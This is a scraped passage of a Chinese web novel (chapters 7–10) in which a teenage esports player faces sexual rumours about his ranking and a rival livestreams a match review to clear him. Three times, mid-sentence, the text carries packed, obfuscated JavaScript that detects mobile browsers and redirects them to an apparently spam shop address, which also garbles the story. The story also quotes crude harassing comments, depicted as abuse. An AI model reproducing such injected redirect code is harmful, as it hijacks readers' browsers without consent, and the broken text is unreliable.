第二种,就是很多祝福“秋雨99”的人。 而第三种…… “好委屈哦从没上过第一,求秋哥哥给我让一把~” “你怎么可以做这种事情?亏我这么坚信你肯定能上第一!” “老实交代吧,给了几次?” “我*****你怎么这么恶心,为了一个游戏排名居然去卖身?!” “秋的滋味如何啊?给大家分享分享呗?” …… ? 这些文字毫无预兆地冲进了夜雨辰的视线,让他眼前一片恍惚,表情也陡然僵住了。 一时间,他没反应过来究竟发生了什么。 他的心跳好似骤停了一下,全身上下开始发凉。 他感到自己全身从脊背开始,细细密密地爬上了许多蚂蚁,直至整张头皮,咬得他嗡嗡发麻。 这些都是什么? 给?卖?和……滋味? 即使他现在才16岁,也完全明白这些词是什么意思。 但他打个游戏而已,为什么会扯到这种东西? 不理解…… 往常,这些申请夜雨辰都是随意一瞥、一划就立即拒绝,但这次,他一边看着手机,一边不知不觉地在椅子上蜷成了一团。 他一下、一下地划动着屏幕,死死地盯着里面的内容,全然没有放过申请备注里的一字一句。 熟悉的每一个字眼组成的每一句话都让人感到眼花缭乱,不可置信。 质疑的、怒骂的、肮脏的、龌龊的…… 真的不理解…… 越往下看,他的眼神愈发呆滞,脸上也逐渐失去血色。 十个申请里有八个备注不堪入目,冷漠无情的文字宛如一股无形的力量,压得他直不起腰、喘不过气。 想玩游戏的心情已然消失殆尽,他好像意识到了什么,手不自觉地开始颤抖,缓缓打开了音符平台。 他想去看一眼自己昨天发的作品的评论区。 也想看看自己的私信列表又会是什么情况。 但还没来得及打开自己的作品,他就发现自己的手,亦或是说整个身体都动不了了。 目光所及的东西,让他的思绪“轰”地一下,全然炸开了—— 手机屏幕里正播放着平台推荐给用户可能会喜欢的热搜作品。 一张只有三句话的聊天记录截图。 准确来说,是一张模拟的聊天记录—— 【秋:开门,我到你家楼下了】 【Rain:干嘛?我刚上全国第一】 【秋:全国第一给你上了,现在轮到我上全国第一了。】 作品发表的时间是在今天凌晨,昨天晚上巅峰赛结束后的一个小时。 而其配的文案只有一句话—— “好难猜啊,Rain一个月一直上不去的第一名,唯一一次没开直播的晋级赛,怎么撞了一次秋做队友后就上去了呢?” 7. 第 7 章 这个作品的点赞数已经逼近了六位数。 夜雨辰抿紧嘴唇,下意识地想打开评论区看一眼。 想看看别人是怎么说的。 在快打开评论区的时候,他突然顿住了。 其实评论区还没点开也能看到,其数目已经是以‘万’为单位了。 而且这个作品的上方还飘着数以万计的弹幕,内容几乎没有一条是能入眼的, 所以还有看的必要吗? 夜雨辰突然冷静下来了。 他干脆地切掉了这个视频,再也没继续去看那些肮脏的字眼,反而平静地在手机上操作了几下,然后把手机放回桌上,若无其事地站起身,走出了房间。 “呕——” 一走到洗手间前,他就再也没忍住干呕了起来。 胃在不停地翻搅,鼻子愈发酸胀,泪水终究还是无法压抑住,从眼角溢了出来。 苍白纤细的手指死死地抓着盥洗台,无法控制地不停地颤抖着。 好恶心…… 他的第一名是怎么来的? 不就是靠自己这么长时间以来的不断地坚持和努力,然后昨天晚上终于运气好了一次所以上去了。 什么叫求的?什么叫卖的? 为什么他们会用如此大的恶意去质疑他的实力? 就因为他超过了秋,成为游戏里唯一一个打破秋记录的人吗? 还是因为自己游戏里说的那些话。 可他那时候只是想恶心一下秋啊,那臭家伙都断了自己好几次晋级赛,还不停地嘲讽自己,本来自己心里就憋着一口恶气。 而且他也没说什么很过分的伤天害理的话吧? 为什么这些陌生人要用如此龌龊的想法去揣测质疑他努力的成果,甚至还扩散分享在了其他社交平台上? 而且,他打个游戏冲个分关这些人什么事?他们凭什么说他的努力是靠这种下作手段获得的? 真的是,太恶心了…… 明明心里一直在劝告自己,网络的言语永远不要听进心里,自己也好像确实没那么生气。但胃却一直在为自己打抱不平而不停地收缩翻腾,让他忍不住一直犯恶心。 不知过了多久,夜雨辰才渐渐听到了自己手机的电话铃声。 他站起身,抹掉眼角的水渍,随便冲了把脸便若无其事地回到房间,看也没看来电者,直接接起电话,沙哑道:“喂?” “夜雨辰你疯了吗?!” 一道声音瞬间爆发了出来, “消息消息一整天都不回,电话还这么久才接,我和小U给你想的方法你也是看都不看!然后就直接去发一个‘不认识秋’的四字作品去澄清?你忘记你之前自证自己是‘Rain’的时候是有多费劲了吗,就你这破四个字会有人信?他们只会觉得你在狡辩好吗!” 夜雨辰顿了顿,这才反应过来自己刚刚做了什么。 他喉结滚了滚,勉强挤出一丝声音:“我……” “哎,算了算了,现在怎么解决这件事才重要。”阿星立马打断了他:“你知不知道现在到底是什么情况?你有没有看过我俩在群里发的消息?” “还没有,我一上线就看到申请列表里一堆人说我……唔。” 一想到这,他又忍不住开始反胃。 对面明显被夜雨辰的反应吓了一跳:“我去,你没事吧?而且你的声音怎么这么虚弱?” 夜雨辰擦了下嘴角,一边出房间去给自己倒了一杯热水缓缓神,一边回答道:“没事,最近有点累,你先说。” “你现在到底在忙啥啊?天天不回消息的,和我们玩的时间也都变少了……”阿星小声嘟囔了一句后就开始解释,“昨天你撞秋的那把对局,被南黎当成素材发到网上了,流量飙升的很快,然后就有更多人开始磕上了……” “嗯,然后呢?” 这是他意料之内的场面,但无论如何,这个话题都不至于造成现在的现象。 只听阿星继续严肃道:“但是,你的下一把晋级赛赢了。然后一群闲得没事干的傻逼不甘心霸榜第一那么久的秋就这么掉到了第二名,加上你们直播的对话以及你这次没开直播打晋级赛的反常,他们觉得里面有古怪,就直接去把秋的战绩扒了出来。” “他们发现秋和你打后的下一把对局输了,并且战绩不太好看,甚至可以说是惨不忍睹。最关键的是,他输了那把游戏后,一直到现在都再也没开过下一把游戏。” “所以那群傻逼通过这些‘证据’,结合直播对局里你们对话反应的细枝末节,直接拼凑成了一个自以为真相的猜想,开始大肆宣扬,说……” 说到这,阿星顿了一下,然后硬生生地挤出来了剩下的半句话—— “Rain和秋达成了一个不可说的交易,于是秋故意输掉比赛,帮助Rain实现了‘晋级全国第一’的梦。” “哈?” 听到这,虽然猜到了可能,但听到结果后夜雨辰还是没忍住气笑了,“就因为秋疑似没有夺回第一的想法,所以那群人就往这种方向去猜?” 阿星继续道:“你们俩昨天互换排名后到现在,从没有一个人开过下一把游戏,两个分数稳在前二、而且如此相近的人,一个没有想法夺回第一,一个没有想法拉开分差稳住第一,所以网上的人便毫不掩饰自己的恶意去浮想翩翩。你们越长时间不开游戏,他们就想得越过分,直到现在。” “他们可真闲,一天到晚活在网络上。” 夜雨辰此时已经恢复了一点状态,整个人也冷静了不少。 他刚刚看过那些发好友申请、出言不逊的人的游戏主页—— 有特意开小号来骂他的,也有那种游戏名次排在全国几千名的人,甚至排名几十名的玩家闻声来凑上一脚,好像巴不得他赶紧出事。 有的人像是在为秋没了第一而来替他打抱不平,有的人像是因为关注了Rain,一听到这个所谓的‘交易’和‘证据’就直接信以为真,在那说对他失望并指责他。 还有的人,看上去就是凑热闹觉得好玩顺便来添一把柴的…… 但是无论如何,这个第一究竟是谁的管他们什么事?这评论谩骂的几万人里,有几个人具备了全国万强的实力? 他冷笑一声,转了个话题,“你刚刚说你和小U想了方法?” 阿星:“嗯,我和他一看到那些话而且数目不少的时候,就试图开始找秋的联系了,只要他可以站出来澄清一下,那事态都会变小不少,毕竟他好像有一些背景。而且他要是不澄清的话,这件事也会对他自己的名声造成一些影响。” “我们几个小时前就开始试探你知不知道这件事了,但你一直不回我们消息,我们还以为你要像昨晚说的那样,直接把这些话当耳旁风……” 说到这,阿星就没忍住阴阳怪气, “夜雨辰,还是你能耐,我们刚在那佩服你的心态,两耳不闻窗外事,然后你就去发这天真好笑的‘不认识秋’?来你告诉我,你觉得谁会信这朴实无华的四个大字?” “咳……”夜雨辰被呛了一声,脸上丝毫没有自己做了蠢事的尴尬,淡定道,“不好意思,习惯群屏蔽了,没有看微信的习惯。” “呵呵,绝交。”只听对面的人鄙视一声,继续道,“秋的战绩我们也看到了,他们那阵容本来就不好打,输了才正常。而且他的行为虽然真的很像送分,但我们完全不信坐在第一那么久的人会因为你一句肉麻得掉渣的话就拱手相让自己辛苦了那么久的成就。不然太没有游戏道德了。” 确实,在游戏方面夜雨辰从没怀疑过秋会故意输掉比赛,毕竟这是一个玩家基本该有的电竞精神。 他继续问道:“那你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081101|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后加上秋了吗?” “……没有。”只听阿星长叹了一口气,道,“这人就像与世隔绝一样,我们俩用了很多办法,把自己能问的人都问了一个遍,都找不到任何和他有关的联系方式。就好像……” “就好像他是个山顶洞人一样,没有任何联系方式。对不起夜雨辰,我们真的想了很多办法,可是真的尽力了……” 夜雨辰愣了一下,随即好笑道:“道歉干嘛?这本来就是我自己惹出来的事情,我谢谢你们帮我都来不及呢。” “可是……” “去休息吧。” 夜雨辰像个没事人一样,安慰对方道,“剩下的我自己来吧,谢谢你们为我费心了。” “你自己来?你有方法了?快说——” “有吧,先试试,不试试怎么知道,挂了。” 夜雨辰在对方彻底问出方法之前就立马掐断了电话。 他打开微信,开始翻看阿星和小U里疯狂给他出主意的聊天记录。 他不玩游戏就不怎么看手机,所以根本不知道原来今天发生了这么多事情。 ……真的会有方法吗? 他重新蜷回椅子上,死死盯着屏幕,一点点地往上滑。手机苍白刺眼的光打在他的脸上,他却没感到任何的不适,目不转睛地思索着。 没找到秋的联系方式么…… 那找秋那把输的队友来帮忙解释他没恶意输游戏? 可不会有人愿意做这个出头鸟。 那夜雨辰自行去解释直播对局里只是想口嗨恶心秋?然后证明其实两人连个联系方式都没有? 现在怎么可能会有人信。 那去联系南黎让他删作品? 先不去说怎么联系上南黎,就事实而论,他的作品从没有刻意去带有关‘秋’和‘Rain’的任何节奏,甚至二人的id也没被暴露,这只算他某场巅峰赛遇到的趣事并记录了下来,不过刚刚好被粉丝识破并认出了是谁。 所以他凭什么放弃这送到嘴边的流量? 夜雨辰的眉头越锁越紧。 他想过的、没想过的方法都被他、阿星和小U提出来并否认了。 好像除了秋自己去解释他的行为,确实没有其他更好的办法了。而且秋的解释也不一定有用,毕竟网友更愿意去信他们自认为所相信的。 他抿紧嘴唇,眼眶又忍不住开始泛红。 想不到办法,这真的是他们的极限了。 他们三个都只是15、16岁的少年,根本就没见过这种莫名被造谣的场景。 自己的努力本就艰辛,结果还要给别人证明自己努力后获得的成果是光明磊落的。 这种东西怎么证明? 当初,夜雨辰之所以会下载音符平台,纯粹是因为有人在平台假冒他,糟蹋他的名声,所以才有了后来他注册账号后证明‘我’是‘我’的情况。 之前网友们就算看到了夜雨辰的游戏账号截图都不会相信这个号才是Rain本尊,反而去相信打着‘Rain’名号网恋骗钱的冒牌货是真的,毕竟那人也有不少从夜雨辰朋友圈或是空间偷来的截图。 于是网友一边骂冒牌货是人渣,一边说冒牌货才是真的Rain。 就好像打游戏打得好的人就一定会干这种人渣事似的。 最后,还是夜雨辰拿父母的身份证去绑定平台开启直播,并自学剪辑手法、买一些直播的相关设备,然后天天打几个小时游戏后再花几个小时去剪辑配音,做出一系列以‘Rain’的第一视角视频后才慢慢证明了自己才是Rain本人。 不过自证完毕后,他就不再花费时间去剪辑了,只会偶尔直播,发发截图。 可现在,他到底该怎么迅速证明自己是靠努力获得成果的? 互联网这种自证风行真的是太讨厌,也太难了。 8. 第 8 章 在夜雨辰绞尽脑汁却想不到其他方法的时候,他的手机弹出了一条棕绿色APP的消息。 【有耳:我刷到好几个和Rain有关的视频,那个人是你吗?】 夜雨辰瞥了一眼弹窗,打开Whisper Tree,完全懒得掩饰自己的身份。 【Rain:是。】 【有耳:你现在还好吗?】 【Rain:好得很。】 【有耳:真的?这次不病急乱投医了?】 【Rain:……如果是来数落我的就滚吧。】 两个月前他刚认识有耳的时候,和这家伙聊天虽然很合得来,也让他更加坚定了自己想走职业的道路,但对方也同样指出过他心态上的问题—— 遇到阻碍自己的事情就病急乱投医,下载这个不知道是什么妖魔鬼怪的软件来求助,根本没有‘心平气和地接受失败’的心态。 【有耳:这不是怕你看到那些流言蜚语心情不好,来问问你现在情况如何嘛?】 【Rain:那你现在问完了,还有事吗?】 他现在可没有心情和对方闲聊。 【有耳:还真有。】 夜雨辰下意识回复。 【Rain:追人又遇到啥麻烦了?】 也不怪他会这么想,毕竟对方这两个月内几乎只会问他怎么去追一个和他年龄差不多的人。 虽然夜雨辰对爱情一窍不通,但看在对方之前陪自己聊了那么久,甚至帮了自己不小忙的份上,他也不好意思完全不理对方,就随口出了点主意。 【有耳:额,确实有麻烦,但这不是重点,我可以解决。我是想提醒你一下,我刚刚还刷到了那个和你有关的秋的直播了,你不去看看吗?】 【Rain:他开直播关我什么事?我为什么要看?】 【有耳:但他的直播标题写的是‘复盘澄清’,好像还真和你有点关系?】 ? 夜雨辰立马坐直了身体,眼里写满了诧异。 复盘澄清?秋? 他立马打开微信看了一眼,确认了阿星和小U没有说已经找到了秋的联系方式后,才打开音符平台,进入了秋的直播间。 他直播间的观众人数一直在蹭蹭往上涨。直播画面正停留在他昨天输的最后一把战绩的结算页面,败方评分第四的负战绩属实丑陋。 下面一堆人在不断地刷弹幕—— “澄清并实锤自己就是恶意掉分让Rain圆梦吗?” “哥哥我喜欢你好久了,Rain都上第一了,也让我上一次可以吗?” “没兴趣听澄清啊,大家还是更关注你和Rain的py交易呢。” “一出事Rain就想和你立马撇清关系,后悔吗秋?” “挂个直播又不说话只放个战绩界面,就纯想吃黑流量呗。” …… 夜雨辰立马把手机打横全屏观看直播并屏蔽弹幕,不让自己再去看这些令人恶心的言语。 “奇怪,怎么才来这么点人?”一道温和的声音突然从直播里响起,只听他疑惑道,“我刷到的视频点赞数最多的那个都有十几万了,按道理来说这个话题总播放量应该是超过百万了,我还以为我开个播就能让我飙升十万观众呢,怎么现在才三万人?” “嗯……那要不还是等直播间破五万人我再开始复盘吧?就这么定了!” 只听秋自言自语地敲定了何时开始复盘后,便开始了一套熟练的说辞, “各位直播间的弹幕老师们,既然来了就顺手帮主播捧个场!小手抖一抖,直播点点赞,让更多人来我的直播间!当然就不用送礼物了,大家赚钱都挺不容易的。” “……?” 夜雨辰眨了眨眼。 秋这是在干嘛,这时候还想着给直播间冲人气吗?心态未免也太好了吧。 还是说他真的是来吃黑流量的? “欸欸欸,别骂我啊老师们,我都要给你们复盘我的掉分局了,那好吧,我们现在就开始,不等了不等了。” 秋无奈地打开对局回放,趁着对局加载的时候,他似是幽默道,“先说好,有些人的言论最好收收,我都快怀疑带你们来玩地球online的那两个玩家是退游了,真想不出来一个有正常教养的人是怎么会说出这些话的。” 听到这句暗戳戳的骂人话,夜雨辰没忍住笑了一声。 这不就是在骂那群跟风造谣的傻逼全是孤儿没有家教吗? 只听秋小声嘟囔道:“真过分,就因为我失误了一局就说我恶意掉分,甚至是干出那种事情?给我泼这么脏的水,搞得我不得不自行深挖伤疤展示给全部人看,来自证我的清白,我该找谁赔精神损失费呢……” 一进入回放,秋就清咳两声,开始了复盘:“弹幕老师们可以把录屏都打开,懂行的各位也可以听听我的解说对不对。 我们先来分析一下阵容,我这边的阵容五核且零控,前期可以说完全没有强度,三条路都是劣线,而对面阵容全是前中期英雄,强度就摆在那,所以这把我前期很难带起团队节奏,甚至可以说,不逆风就是我们的顺风局了……” 夜雨辰赞同地点了点头。 确实,这种下水道阵容,在势均力敌的顶端局能打出顺风的话一般对面都是人机居多。 “这波上路,我们四打三,按道理来说人数差我们是可以打赢的,但问题就出在英雄强度上我们比不过对面,伤害不够,并且我失误了。” 秋在此时特意把回放的画面放大, “看到没?这里,我们的打野小老虎,也就是我,按道理来说应该去扑对面走位失误、孤零零的半血不到的法师,可以收掉他,但这个打野偏偏在这时候扑歪了,他往这个正有辅助保护的残血射手身上扑,而这个辅助的技能已经全好了,射手也有位移技能,明显是个‘残血诱饵’,所以我根本无法杀死他。最终导致我们团战一个人都没换掉,4换0团队大爆炸,直接陷入了逆风。” 说到这,秋还因为自己的决策失误还惋惜地叹了一口气。 之后的每一波,秋都会为自己的决策自责并叹口气,但他一直都是带着笑意去解说的: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081102|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这波,老虎纯属在对面野区逛街,不去和队友一起守塔……” “这一波,老虎非要在上路漏视野带线,导致对面知道他这里正面团战会少人,直接把队友冲死在二塔,来了个小团灭……” “这波,老虎就应该呆在家里守高地塔,而不是跑出去漏视野,白白送人头,导致被对面边路追杀……” …… 整把复盘完,秋的对局思路都十分合理,逻辑上也是大部分玩家会在对局里会犯的通病。 但是…… 扯蛋。 夜雨辰的目光死死地盯着直播画面,他一字一句地听进了秋的复盘,眼神从一开始的全神贯注,到逐渐疑惑。在秋完成复盘的时候,他整张脸色已经完全黑了下来,眼里写满了不解与震惊。 秋这都是在讲些什么?他不是复盘澄清自己没有故意输掉游戏吗? 怎么满嘴谎话? 夜雨辰也是这个游戏的顶端玩家,他看得懂秋的每波行动的思路和目的。 秋的每句复盘和自责,在他眼里其实都是为团队尽量弥补损失的最优解。 第一波对面打野已经包上来了,他无法跑走,而中单有闪现明显杀不了,他只能去尝试能不能换射手的命,挽回团队的一些损失;打野不跟着守塔是因为他就算一起跟着守塔,也无法守下这座防御塔,纯在浪费发育时间,所以不如去对面野区偷资源并带一波兵线,刷经济稍微发育一下并止一点损;还有之后的带线牵制、拿命拖延兵线进攻水晶的时间…… 他的所有思路无一不是当时最该有的第一决策。 而且,夜雨辰甚至有种错觉,真正想故意输掉比赛的人,是秋的队友。 但秋不仅对自己所有队友的失误闭口不提,甚至刻意调整画面去遮住他们的过错,然后再把自己全部的最优决策打上‘错误’标签,笑嘻嘻地将整把游戏的黑锅全背到了自己身上,并公开给了一直在源源不断上涨着人数的直播间。 无法理解。 秋到底在想些什么? 疑惑和不解充斥着内心,让夜雨辰直接打算退出直播,不想继续往下看这人的瞎扯淡了。 他退出全屏,准备关闭直播间,但下一秒,他这个念头戛然而止。 他的余光还是不自觉地扫到了弹幕。 那些观众仍然在不停地刷屏,速度比他刚进直播间时有过之而无不及,让人看得眼花缭乱。 但是目光所及的弹幕,至少他看到的那些提到‘Rain’的数目,不知什么时候已经变得屈指可数了。 虽有弹幕早已将枪口一律转换了方向—— “全国第一的顶端局原来也就这种水平啊?那我来我也行,还以为多厉害呢。” “说真的,如果我是秋,这波都能把他们全杀了,哪会傻愣愣地去对面野区逛街!” “守水晶啊!还跑出去白给干嘛?你这不就是故意输掉对局吗?!” “你以前的第一是不是有水分啊,怎么玩的这么菜?全国第一就这水平我也可以上了好吧。” …… 9. 第 9 章 夜雨辰冷冷地看着这些目不暇接的弹幕。 他忽然就明白了秋撒谎的意图,心里逐渐升起一股异样的感觉。 像一团熊熊燃烧的烈火,却感受不到其散发的任何温度;也像吃到了一个超级大的波板糖,却尝不出一丝甜味。 但最像的,还是从心底里隐隐升起的一股无法触碰、无法抓挠的烦躁感。 “呵。” 最后,他实在没忍住发出一声嗤笑,然后把直播重新打回全屏继续观看,并重新屏蔽了直播间的弹幕刷屏。 “OK,最后来说一下KDA。”复盘完了一整局,秋正展示着战绩的数据页面,无奈道, “你们也看了一整把,我没办法啊,玩老虎的人都知道,这英雄逆风只能打带线牵制,输出低很正常,经济差已经大到逆台风局了,所以我单挑不过对面任何人,也抓不死人,只能让四个队友守家打消耗,顺便看看能不能找机会翻盘,但这把我犯太多病了,所以我能接受你们骂我菜,但你们不能污蔑我在送分,我可是最有电竞精神的玩家了,不像一些只会点投降的某国队友。” 然后,他轻咳一声,立马换了一个话题,“行了,大家还有什么问题要问的?要不我现在来抽几个弹幕回答几个问题?然后我就下播了。” 听到秋对KDA的分析,夜雨辰的眉头终于松开了些许。 终于说了几句实话…… 等等,他刚刚最后一句话说的什么? 抽弹幕回答问题? 他突然对秋产生了一丝膜拜的心里。 刚刚弹幕的疯狂言论他可是见识到了,其中骂声更是源源不断,但秋从始至终都在认认真真的复盘解说,偶尔还会视若无睹弹幕的恶言,去和一些和善的弹幕对对话。 然后秋现在说,他要抽取弹幕回答问题? 去直面那些键盘侠?! 只听秋的自言自语道:“你们刷慢点,我看不清了,文明最重要,不要去骂人,游戏而已……‘秋你稳了这么久的第一没了,有什么感想吗?’” 他的语气平淡且带着一丝疑惑,道:“能有什么感想?输赢胜败家常便饭,‘全国第一’只有一个,只要是有实力的玩家都觊觎着这位置,我也是竞争者之一,所以我迟早会被人超越的,但我给全玩家证明过我的实力就好了。” 【你这复盘不就是实锤你自己在恶意输掉对局?还给自己找这么多的失误借口。】 “这位兄弟,你实在没钱去医院我可以给你出钱的,证据、讲解和思路都摆你眼前了,你还不信那我能怎么办?” 【那你解释一下,为什么你和Rain做队友打完一把巅峰赛后就刚好输的这么惨,他也昨天刚刚好没直播;而且今天你们俩一把游戏都不打,直接让Rain坐稳了这个第一名?我不是傻子,我不信这么多巧合。】 “哦,可有时候世上就是这么多巧合。” 读完这个弹幕,秋似乎变差了不少,语气陡然失去了刚刚的温和,冷声道,“他为什么不直播我不清楚,但你能保证你的每把游戏都是正常发挥吗?我是普通人,我也会有发挥失常的时候。而且不巧,我今天真的很忙,没空玩游戏。这不,我才刚忙完准备躺下休息就刷到了某些想象力十分充足的视频,所以第一时间就来开直播澄清了。” “至于我在忙什么,明天你们就会知道了,也刚好给你们这些污蔑我的傻逼们一个删除作品并道歉的机会。” 他的语调恢复了一开始的温和继续道:“当然,道歉对象肯定不止我一个,人家在第二被我压了那么久,还被我吃了那么多次分,现在好不容易靠实力和运气上了次第一,结果就出了这一档子事。 昨天我们撞车南黎的那把也有不少人看过,就没有人觉得他的大乔玩得很秀吗?而且走的还是他不擅长的辅助位。” 说到这,他又不自觉地开始自言自语起来:“嘶……要我还是给你们看一下那把的对局回放?我昨天一整把都是发自内心夸他的,这英雄真正能玩明白的人真的很少,但他的表现都足以证明他的运营思路和真实实力,哪需要用什么下作手段登顶第一。” 他这语气就像是巴不得要给全部人证明,Rain的大乔就是最强的似的,一直在不停地夸他。 而观看着直播的夜雨辰嘴角也不禁微不可察地勾起了些许。 那可不,他的实力就是如此强劲,名次当然是实至名归的。 秋最终还是没调出回放。他清咳两声,将话题回归到了正规,道: “我知道发布这些言论里的人,不乏嫉妒的、凑热闹的、跟风的、收钱的、还有所谓为我发声打抱不平的。但我现在给你们一个忠告,只要是发布过相关谣言作品却不和我们道歉的人——” 只听他的语调愈发柔和,让人听了却愈发毛骨悚然,“以前我怎么处置那些冒充并损坏我名声的人,我会用同样的方法处理你们。” 听到这句话,直播间的所有人都愣住了,夜雨辰也呼吸一滞,心脏仿佛漏了一拍。 无论是谁,他们都听懂了秋的话—— 虽然他一直没提过Rain的名字,但他一直在为Rain发声,并在为Rain和自己要一个道歉。 他的字里行间都在说明他对Rain的实力的认可,以及对这件事的愤怒。 如果是其他人说这种可笑的威胁,弹幕可能真的会嘲笑他,但这人是秋,大部分人只会相信他说的话。 很多人都记得,秋在几个月前创建音符平台账号的时候,是怎么自证他是‘秋’本人的。 他当时只发了一个作品,视频里面全是他游戏账号相关荣誉的不同截图。 除此之外,再无他物。 他不像Rain的自证。他没有本人配音、没有视频剪辑,甚至他开过直播的次数用手指头都数得过来。 但是网友全都相信了这个账号就是秋本人。 为什么? 因为那些冒充他在平台上各种打广告、谈恋爱、接单子或借他的图做自媒体的人,在这个账号出现没多久后,全都在网上销声匿迹了。 是的,全部消失了。 整个平台只剩下了一个货真价实的‘NO.1秋’。 没人知道那些可恶的骗子究竟去了哪,但是网上只有这一个秋,那就信他是真的就好了。 弹幕的问题依旧没停,秋重新开始回答问题。 【你还知道人家第二了那么久啊?是谁每次趁着Rain的晋级赛都刻意排去对面,还只对他回城嘲讽,不解释解释你这行为?】 秋无辜道:“冤枉啊,顶端局来来回回就这么几个人,匹配机制让我排到他在对面我是真的没有办法。” 然后他没忍住好笑道,“而且Rain那个‘全国巅峰第二’的称号就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081103|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么明晃晃地顶在头上,局内又不是显示不出来,我怎么能认不出他? 还有,谁规定的对对手回城就是嘲讽的意思了?你们是不是常常干这种事才下意识地以为我在嘲讽他?其实我只是想和Rain打个招呼以示友好而已。” 夜雨辰心虚般的把眼神瞥开直播界面。 确实,一直点回城也不一定是嘲讽的意思,他有时候和好友撞车做对手或队友也会不停地回城以示招呼。 但这不代表他信了秋的后半句话。 是什么样的心里会让一个人杀死对手后,才会对着对方不停地回城‘以示友好’? 答案不言而喻。 【所以开直播还是为了维护Rain咯?还打招呼,人家都发作品说不认识你了,你这不纯纯他的舔狗吗?】 “我维护他了吗?”秋诧异道,“我从头到尾都是在自证我并没有故意输掉对局,顺便说明了一下人家的实力强,这些都很正常吧?至于我和他到底认不认识……” 突然,秋轻笑一声,放柔了声音,道: “Rain说什么,那就是什么。” ? 听到这熟悉的语调,夜雨辰的表情突然僵住了,刚对秋产生的一丝好感瞬间烟消云散。 哥们,你是不会读‘不认识’这三个字吗? 而且你的声音怎么又特么的夹起来了?? 秋的直播间此时人数已经破10万人了,但弹幕突然就像卡壳了一般,安静了一瞬。 下一秒,直播间问号满天飞,观众也不停地开始刷屏—— “woc……秋这语气是我的错觉吗,听上去怎么全是宠溺的味道?” “我的秋真去做舔狗了呜呜,Rain也太过分了,怎么能这样对我们的野王男神,而且一出事就想撇清关系。” “不对啊,秋这语气难道不是得了便宜还卖乖那种?他要是没吃到甜头说得出这种语气的话?” “我懂了我懂了,是秋太猛了,所以让Rain不想认自己老公了!他们俩要是不认识秋帮Rain要道歉干嘛?只要自证完让别人给自己道歉不就行了,何必多此一举?” “对啊,秋是因为自己被污蔑故意输掉游戏所以才开的直播,但他也间接帮Rain澄清了他们俩之间没有py交易,但他也从头到尾都没有否认过自己和Rain是一对欸?!只能说那些联想到用身体交易上分的人真的是太恶心了!” “昨天南黎直播他们俩那表现,Rain的小傲娇样谁忘得了啊?秋一直喊他宝宝他一直炸毛,真的是太可爱了,太戳我了,他们俩真的太好磕了!!” “原来全国第一第二居然是一对cp吗?怪不得他刚刚要帮另一个人澄清呢,真的是……强强联合打遍天下无敌手啊!太甜了太甜了,999999!!” 很快,整个直播间屏幕只剩下‘99’,甚至有些观众已经开始不停地刷几毛钱的鲜花礼物。 不过秋好似对弹幕发生了什么全然不知情。 只听他在直播间轻咳一声,声音恢复正常语调,语速极快道:“好了,你们的问题我就答到这了,我直播想说的东西也都说的差不多了。一些录了屏的老师们也可以把这场直播当作品去发,当然,请不要过度曲解我的任何话语,不然后果自负,我就下播啦,各位晚安。” 然后他的直播间就这么关闭了。 10. 第 10 章 “……” 夜雨辰冷冷地看着显示着“已结束”的直播画面,在思考现在要不要买一个速效救心丸。 这短短不到两个小时的时间里,他经历的东西实在是有点多。 简直就像把他挂在悬崖角上不停地摇晃一样,让他的小心脏实在有点承受不住。 直到手机顶端弹出一条棕绿色APP的消息拉回了他的思绪。 【有耳:我看完直播了,你呢?】 他瞥了一眼这条消息,心力憔悴地打开Whisper Tree。 他无力地抬起手,在手指刚碰到键盘的瞬间,就像找到了发泄口一般,迅速地打完了一句话。 【Rain:我c了这个秋是傻逼吗?他说个不认识会死吗?用那种声音说那种话,他还在报复我昨天恶心他是吗??这人报复心怎么这么强???这弹幕最后都变成啥样了他是没看到吗?!】 【有耳:。】 【有耳:要不咱们看开点?他可能不是故意的,毕竟他都帮你澄清了……】 提到这个,夜雨辰就更来气了。 【Rain:对,澄清就澄清,用得着他去做什么大好人吗?需要他一个人去为所有队友抗住骂声?】 【有耳:但从宏观角度来看的话,这个做法不是最便利高效的嘛。】 看到这句话,夜雨辰是真的没忍住气笑了。 他当然发现了秋这个做法确实是最高效简单的解决方法。 每一件事情都不能只看它的表面,而是应该去剖析一下其内部原因。 电子竞技菜是原罪,而秋的队友已经菜到令人发指的程度了。 但他们该被谁指责? 如果秋在直播里实话实说自己的对局思路,把队友的问题全部点出来了会怎么样? 会有人说秋在推卸责任,为自己的菜找借口;会有人不理解他的想法,说这明明只是一个无心的走位为什么要拿出来强词夺理;会有人说你明明就是在送人头,干嘛要找这么冠冕堂皇的借口。 在夜雨辰打开弹幕,看到他们集体在喷秋菜的时候,他就立刻反应过来了秋到底为什么复盘的时候要这么做。 